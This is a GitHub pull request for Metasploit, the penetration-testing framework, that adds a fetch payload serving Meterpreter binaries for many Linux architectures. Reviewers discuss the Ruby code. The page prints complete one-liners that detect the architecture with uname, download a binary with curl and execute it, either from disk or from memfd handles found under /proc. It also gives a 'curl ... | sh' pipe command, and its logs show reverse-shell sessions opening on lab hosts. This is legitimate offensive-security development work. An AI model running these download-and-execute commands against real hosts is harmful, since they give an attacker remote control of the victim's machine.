Skip to content

Add Fetch Multi payload support #20074

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Draft
wants to merge 2 commits into
base: master
Choose a base branch
from

Conversation

bwatters-r7
Copy link
Contributor

TL;DR

This adds a way to use fetch payloads on a Linux platform and have a single fetch command payload establish a session on a Linux host of unknown architecture.

Description

This PR does several things:

  1. Create a "new" stageless binary payload called linux/multi/meterpreter_reverse_tcp that supports dynamically changing the architecture for a payload during the module run.
  2. Create a new session type called meterpreter_multi_linux to handle a callback from a stageless Linux payload of unknown architecture.
  3. Create a new adapted fetch payload called cmd/linux/http/multi/reverse_tcp that when selected, creates and hosts stageless meterpreter_reverse_tcp payloads for all supported Linux architectures and generates a command to discern the architecture of the target host and then fetch/execute the correct payload.
  4. This supports the pipe_fetch option, so you can get all this functionality with a tiny command like curl -s http://10.5.135.118:8080/x|sh

Other

There are about a half-dozen ways to implement this, and this is probably going to be a draft for a while. We could revamp the http servers to accept a callback with the architecture the target needed, but that would require another set of communications, and this struck me as a bit simpler. Host all the payloads and let the target script get the right one.
I am sure there will be a lot of ways to improve the actual shell script created- I favored avoiding special characters over length since we support pip_fetch, but I'm by no means an expert at Linux shell fu, so I welcome suggestions for improvement on it any anything else.

This only works on single http fetch payloads right now, but until we get a consensus on behavior, I did not want to do too much work. It probably breaks the regular http fetch payloads, but that should be an easy fix.

I'm also seeing some issues with some architectures and FETCH_FILELESS. This may simply be due to the age of the devices or the specific shell they use, but I'll need to double-check that.

Finally, I apologize for the wall of text......

Using Regular Fetch Payloads
msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options

Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Lin
                                              ux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.118     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      JBhAIhEE         no        Name to use on remote system when storing payload; cannot contain spaces or slash
                                                  es
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces


View the full module info with the info, or info -d command.

msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Generating payload for aarch64
[*] Generating payload for armbe
[*] Generating payload for armle
[*] Generating payload for mips64
[*] Generating payload for mipsbe
[*] Generating payload for mipsle
[*] Generating payload for ppc
[*] Generating payload for ppce500v2
[*] Generating payload for ppc64le
[*] Generating payload for x64
[*] Generating payload for x86
[*] Generating payload for zarch
[*] Adding 6cWot_PkdMg8XXmxu9-iaA for aarch64
[*] Adding kgYhaKK4NzYB5brhj7OMeQ for armbe
[*] Adding MRJTpBavAuiL6uLmAwiC6A for armle
[*] Adding WBST980dzPT-CDm0A5yliQ for mips64
[*] Adding aFOgTtajQw_EQWxmOeCBJA for mipsbe
[*] Adding 8124qvzgoKj7kxxgq9Me_w for mipsle
[*] Adding u6uWjH4hGjXdPsXPoBJ6UA for ppc
[*] Adding BVoHhSuXngYlOzahJ9GFsA for ppce500v2
[*] Adding wJ1KG0oz2H2ZAbY-GwV7sA for ppc64le
[*] Adding g45m7bdgqD8BT1cUfGy6Xg for x64
[*] Adding QM6NK8ZtE9zA3ZZBir4UHA for x86
[*] Adding Gq-c-crJwnUHyRZtp4WFZg for zarch
[*] archinfo=$(uname -m);if [ aarch64 = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/6cWot_PkdMg8XXmxu9-iaA;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ armbe = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/kgYhaKK4NzYB5brhj7OMeQ;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ armv5l = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/MRJTpBavAuiL6uLmAwiC6A;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ armv6l = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/MRJTpBavAuiL6uLmAwiC6A;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ armv7l = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/MRJTpBavAuiL6uLmAwiC6A;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ mips64 = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/WBST980dzPT-CDm0A5yliQ;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ mipsbe = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/aFOgTtajQw_EQWxmOeCBJA;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ mips = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/8124qvzgoKj7kxxgq9Me_w;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ ppc = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/u6uWjH4hGjXdPsXPoBJ6UA;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ ppce500v2 = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/BVoHhSuXngYlOzahJ9GFsA;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ ppc64le = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/wJ1KG0oz2H2ZAbY-GwV7sA;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ x64 = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/g45m7bdgqD8BT1cUfGy6Xg;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ x86_64 = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/g45m7bdgqD8BT1cUfGy6Xg;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ x86 = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/QM6NK8ZtE9zA3ZZBir4UHA;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi; if [ zarch = $archinfo ]; then (curl -so ./VPOjUcdE http://10.5.135.118:8080/Gq-c-crJwnUHyRZtp4WFZg;chmod +x ./VPOjUcdE;./VPOjUcdE&); fi;
[*] Pipe command: curl -s http://10.5.135.118:8080/x|sh
[*] Payload Handler Started as Job 0
msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >
[*] Fetch handler listening on 10.5.135.118:8080
[*] HTTP server started
[*] Adding resource /6cWot_PkdMg8XXmxu9-iaA
[*] Adding resource /kgYhaKK4NzYB5brhj7OMeQ
[*] Adding resource /MRJTpBavAuiL6uLmAwiC6A
[*] Adding resource /WBST980dzPT-CDm0A5yliQ
[*] Adding resource /aFOgTtajQw_EQWxmOeCBJA
[*] Adding resource /8124qvzgoKj7kxxgq9Me_w
[*] Adding resource /u6uWjH4hGjXdPsXPoBJ6UA
[*] Adding resource /BVoHhSuXngYlOzahJ9GFsA
[*] Adding resource /wJ1KG0oz2H2ZAbY-GwV7sA
[*] Adding resource /g45m7bdgqD8BT1cUfGy6Xg
[*] Adding resource /QM6NK8ZtE9zA3ZZBir4UHA
[*] Adding resource /Gq-c-crJwnUHyRZtp4WFZg
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.118:4444
[*] Client 10.5.132.221 requested /x
[*] Sending payload to 10.5.132.221 (curl/7.52.1)
[*] Client 10.5.132.221 requested /8124qvzgoKj7kxxgq9Me_w
[*] Sending payload to 10.5.132.221 (curl/7.52.1)
[*] Meterpreter session 1 opened (10.5.135.118:4444 -> 10.5.132.221:53514) at 2025-04-22 14:09:13 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /6cWot_PkdMg8XXmxu9-iaA
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Meterpreter session 2 opened (10.5.135.118:4444 -> 10.5.132.214:34352) at 2025-04-22 14:09:16 -0500
[*] Client 10.5.132.211 requested /x
[*] Sending payload to 10.5.132.211 (curl/7.88.1)
[*] Client 10.5.132.211 requested /MRJTpBavAuiL6uLmAwiC6A
[*] Sending payload to 10.5.132.211 (curl/7.88.1)
[*] Meterpreter session 3 opened (10.5.135.118:4444 -> 10.5.132.211:54424) at 2025-04-22 14:09:19 -0500
[*] Client 10.5.134.150 requested /x
[*] Sending payload to 10.5.134.150 (curl/7.81.0)
[*] Client 10.5.134.150 requested /g45m7bdgqD8BT1cUfGy6Xg
[*] Sending payload to 10.5.134.150 (curl/7.81.0)
[*] Meterpreter session 4 opened (10.5.135.118:4444 -> 10.5.134.150:43916) at 2025-04-22 14:09:32 -0500

msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions

Active sessions
===============

  Id  Name  Type                       Information             Connection
  --  ----  ----                       -----------             ----------
  1         meterpreter mipsle/linux   ubnt @ 192.168.1.1      10.5.135.118:4444 -> 10.5.132.221:53514 (10.5.132.221)
  2         meterpreter aarch64/linux  kali @ 10.5.132.214     10.5.135.118:4444 -> 10.5.132.214:34352 (10.5.132.214)
  3         meterpreter armle/linux    msfuser @ 10.5.132.211  10.5.135.118:4444 -> 10.5.132.211:54424 (10.5.132.211)
  4         meterpreter x64/linux      msfuser @ 10.5.134.150  10.5.135.118:4444 -> 10.5.134.150:43916 (10.5.134.150)

msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.221)
Computer     : 192.168.1.1
OS           : Debian 9.13 (Linux 4.14.54-UBNT)
Architecture : mips
BuildTuple   : mipsel-linux-muslsf
Meterpreter  : mipsle/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : 10.5.132.214
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.211)
Computer     : 10.5.132.211
OS           : Debian 12.8 (Linux 6.6.51+rpt-rpi-v6)
Architecture : armv6l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
[*] Running 'sysinfo' on meterpreter session 4 (10.5.134.150)
Computer     : 10.5.134.150
OS           : Ubuntu 22.04 (Linux 6.8.0-1025-azure)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >
Using FETCH_FILELESS as `bash`
msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > set FETCH_FILELESS bash
FETCH_FILELESS => bash
msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Generating payload for aarch64
[*] Generating payload for armbe
[*] Generating payload for armle
[*] Generating payload for mips64
[*] Generating payload for mipsbe
[*] Generating payload for mipsle
[*] Generating payload for ppc
[*] Generating payload for ppce500v2
[*] Generating payload for ppc64le
[*] Generating payload for x64
[*] Generating payload for x86
[*] Generating payload for zarch
[*] Adding 6cWot_PkdMg8XXmxu9-iaA for aarch64
[*] Adding kgYhaKK4NzYB5brhj7OMeQ for armbe
[*] Adding MRJTpBavAuiL6uLmAwiC6A for armle
[*] Adding WBST980dzPT-CDm0A5yliQ for mips64
[*] Adding aFOgTtajQw_EQWxmOeCBJA for mipsbe
[*] Adding 8124qvzgoKj7kxxgq9Me_w for mipsle
[*] Adding u6uWjH4hGjXdPsXPoBJ6UA for ppc
[*] Adding BVoHhSuXngYlOzahJ9GFsA for ppce500v2
[*] Adding wJ1KG0oz2H2ZAbY-GwV7sA for ppc64le
[*] Adding g45m7bdgqD8BT1cUfGy6Xg for x64
[*] Adding QM6NK8ZtE9zA3ZZBir4UHA for x86
[*] Adding Gq-c-crJwnUHyRZtp4WFZg for zarch
[*] archinfo=$(uname -m);if [ aarch64 = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/6cWot_PkdMg8XXmxu9-iaA >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ armbe = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/kgYhaKK4NzYB5brhj7OMeQ >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ armv5l = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/MRJTpBavAuiL6uLmAwiC6A >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ armv6l = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/MRJTpBavAuiL6uLmAwiC6A >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ armv7l = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/MRJTpBavAuiL6uLmAwiC6A >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ mips64 = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/WBST980dzPT-CDm0A5yliQ >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ mipsbe = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/aFOgTtajQw_EQWxmOeCBJA >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ mips = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/8124qvzgoKj7kxxgq9Me_w >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ ppc = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/u6uWjH4hGjXdPsXPoBJ6UA >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ ppce500v2 = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/BVoHhSuXngYlOzahJ9GFsA >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ ppc64le = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/wJ1KG0oz2H2ZAbY-GwV7sA >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ x64 = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/g45m7bdgqD8BT1cUfGy6Xg >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ x86_64 = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/g45m7bdgqD8BT1cUfGy6Xg >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ x86 = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/QM6NK8ZtE9zA3ZZBir4UHA >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi; if [ zarch = $archinfo ]; then (FOUND=0;for i in $(ps -u $USER | awk '{print $1}'); do if [ $FOUND -eq 0 ]; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null); do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]; then if $(curl -so $f http://10.5.135.118:8080/Gq-c-crJwnUHyRZtp4WFZg >/dev/null); then $f; FOUND=1; break; fi; fi; done; fi; done); fi;
[*] Pipe command: curl -s http://10.5.135.118:8080/x|sh
[*] Payload Handler Started as Job 0
msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >
[*] Fetch handler listening on 10.5.135.118:8080
[*] HTTP server started
[*] Adding resource /6cWot_PkdMg8XXmxu9-iaA
[*] Adding resource /kgYhaKK4NzYB5brhj7OMeQ
[*] Adding resource /MRJTpBavAuiL6uLmAwiC6A
[*] Adding resource /WBST980dzPT-CDm0A5yliQ
[*] Adding resource /aFOgTtajQw_EQWxmOeCBJA
[*] Adding resource /8124qvzgoKj7kxxgq9Me_w
[*] Adding resource /u6uWjH4hGjXdPsXPoBJ6UA
[*] Adding resource /BVoHhSuXngYlOzahJ9GFsA
[*] Adding resource /wJ1KG0oz2H2ZAbY-GwV7sA
[*] Adding resource /g45m7bdgqD8BT1cUfGy6Xg
[*] Adding resource /QM6NK8ZtE9zA3ZZBir4UHA
[*] Adding resource /Gq-c-crJwnUHyRZtp4WFZg
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.118:4444
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /6cWot_PkdMg8XXmxu9-iaA
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /6cWot_PkdMg8XXmxu9-iaA
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /6cWot_PkdMg8XXmxu9-iaA
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /6cWot_PkdMg8XXmxu9-iaA
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /6cWot_PkdMg8XXmxu9-iaA
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /6cWot_PkdMg8XXmxu9-iaA
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /6cWot_PkdMg8XXmxu9-iaA
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /6cWot_PkdMg8XXmxu9-iaA
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /6cWot_PkdMg8XXmxu9-iaA
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Meterpreter session 1 opened (10.5.135.118:4444 -> 10.5.132.214:51182) at 2025-04-22 14:24:56 -0500

msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions

Active sessions
===============

  Id  Name  Type                       Information          Connection
  --  ----  ----                       -----------          ----------
  1         meterpreter aarch64/linux  kali @ 10.5.132.214  10.5.135.118:4444 -> 10.5.132.214:51182 (10.5.132.214)

msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >
[*] Client 10.5.132.211 requested /x
[*] Sending payload to 10.5.132.211 (curl/7.88.1)
[*] Client 10.5.132.220 requested /x
[*] Sending payload to 10.5.132.220 (curl/7.36.0)
[*] Client 10.5.132.221 requested /x
[*] Sending payload to 10.5.132.221 (curl/7.52.1)
[*] Client 10.5.134.150 requested /x
[*] Sending payload to 10.5.134.150 (curl/7.81.0)
[*] Client 10.5.134.150 requested /g45m7bdgqD8BT1cUfGy6Xg
[*] Sending payload to 10.5.134.150 (curl/7.81.0)
[*] Client 10.5.134.150 requested /g45m7bdgqD8BT1cUfGy6Xg
[*] Sending payload to 10.5.134.150 (curl/7.81.0)
[*] Client 10.5.134.150 requested /g45m7bdgqD8BT1cUfGy6Xg
[*] Sending payload to 10.5.134.150 (curl/7.81.0)
[*] Meterpreter session 2 opened (10.5.135.118:4444 -> 10.5.134.150:53172) at 2025-04-22 14:27:37 -0500

msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions

Active sessions
===============

  Id  Name  Type                       Information             Connection
  --  ----  ----                       -----------             ----------
  1         meterpreter aarch64/linux  kali @ 10.5.132.214     10.5.135.118:4444 -> 10.5.132.214:51182 (10.5.132.214)
  2         meterpreter x64/linux      msfuser @ 10.5.134.150  10.5.135.118:4444 -> 10.5.134.150:53172 (10.5.134.150)

msf6 payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >

script
end

def _generate_bruteforce_multi_commands(arch_payloads = [])
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I completely forgot I added this- my thought was that in the event that we were willing to trade stealth for simplicity, we would not bother checking the arch, and just try to run everything..... Not exactly subtle, but I ran into issues where the arch names were not really consistent, so this would mean it would just work
Probably adding an advanced option for brute forcing is they way to go

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe add a TODO then, as this is a tad super-gross :D

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This doesn't look like it's referenced anywhere, and I'd be inclined to try and advance this without it as an option for MVP.

@bwatters-r7
Copy link
Contributor Author

image

script
end

def _generate_bruteforce_multi_commands(arch_payloads = [])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe add a TODO then, as this is a tad super-gross :D

def generate(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux'
# create a hash with all the arches and payloads
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

To me, it's unclear that this comment means :/ Do you mean a hashtable?

Comment on lines +158 to +162
srv_entry = {}
srv_entry[:arch] = arch
srv_entry[:uri] = default_srvuri(arch.to_s)
srv_entry[:payload] = generate_payload_exe(opts)
@srv_resources << srv_entry
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
srv_entry = {}
srv_entry[:arch] = arch
srv_entry[:uri] = default_srvuri(arch.to_s)
srv_entry[:payload] = generate_payload_exe(opts)
@srv_resources << srv_entry
srv_entry = {
:arch => arch,
:uri => default_srvuri(arch.to_s)
:payload => generate_payload_exe(opts)
}
@srv_resources << srv_entry

I think this is a bit more readable.

srv_entry[:payload] = cmd
@srv_resources << srv_entry
cmd = generate_pipe_command(pipe_srvuri)
print_status("Pipe command: #{cmd}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The pipe command isn't shown in the other branch of the condition, nor is the fetch one. It would be nice to either print all of them, or none of them.

Comment on lines 100 to 146
def os_arches(meterp_arch)
# multiple `uname -m` values map to the same payload arch
# we will probably need to expand this
case meterp_arch
when ARCH_AARCH64
return ['aarch64']
when ARCH_ARMBE
return ['armbe']
when ARCH_ARMLE
return ['armv5l', 'armv6l', 'armv7l']
when ARCH_MIPS64
return ['mips64']
when ARCH_MIPSBE
return ['mipsbe']
when ARCH_MIPSLE
return ['mips']
when ARCH_PPC
return ['ppc']
when ARCH_PPCE500V2
return ['ppce500v2']
when ARCH_PPC64LE
return ['ppc64le']
when ARCH_X64
return ['x64', 'x86_64']
when ARCH_X86
return ['x86']
when ARCH_ZARCH
return ['zarch']
end
@pipe_cmd = generate_fetch_commands
@pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows
vprint_status("Command served: #{@pipe_cmd}")
cmd = generate_pipe_command
else
cmd = generate_fetch_commands
end
vprint_status("Command to run on remote host: #{cmd}")
cmd
end
end

def generate_pipe_command
# TODO: Make a check method that determines if we support a platform/server/command combination
@pipe_uri = pipe_srvuri
def multi_arches
arches = []
arches << ARCH_AARCH64
arches << ARCH_ARMBE
arches << ARCH_ARMLE
arches << ARCH_MIPS64
arches << ARCH_MIPSBE
arches << ARCH_MIPSLE
arches << ARCH_PPC
arches << ARCH_PPCE500V2
arches << ARCH_PPC64LE
arches << ARCH_X64
arches << ARCH_X86
arches << ARCH_ZARCH
arches
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not sure that this belongs in the fetch.rb file, but I don't have a suggestion for where to put it instead :/

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was giving some thoughts to offloading this bit to the multi payload entirely and having the payload return an array of payloads from only a single generate call, but I'm concerned about that basically breaking everything.
We could also put this in rex-arch as linux_arches or something like that.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I broke this out to a multi library with some of the other multi methods- not perfect, but it gets the fetch library a bit more manageable.

@bwatters-r7
Copy link
Contributor Author

Check to make sure that the payload can be selected even if a specific arch target is selected.

'timwr'
],
'Platform' => 'linux',
'Arch' => ARCH_ANY,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should really be the subset of architectures that are supported by generate.

# If I add an exit to this so that it leaves after launching, FETCH_FILELESS bash fails
end
end
print_status(script)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This looks like it was left over from debugging. If it's necessary to keep it, can you add some context in a message so the user knows what they're looking at instead of just logging executable code?

Suggested change
print_status(script)

script
end

def _generate_bruteforce_multi_commands(arch_payloads = [])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This doesn't look like it's referenced anywhere, and I'd be inclined to try and advance this without it as an option for MVP.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
Status: Todo
Development

Successfully merging this pull request may close these issues.

3 participants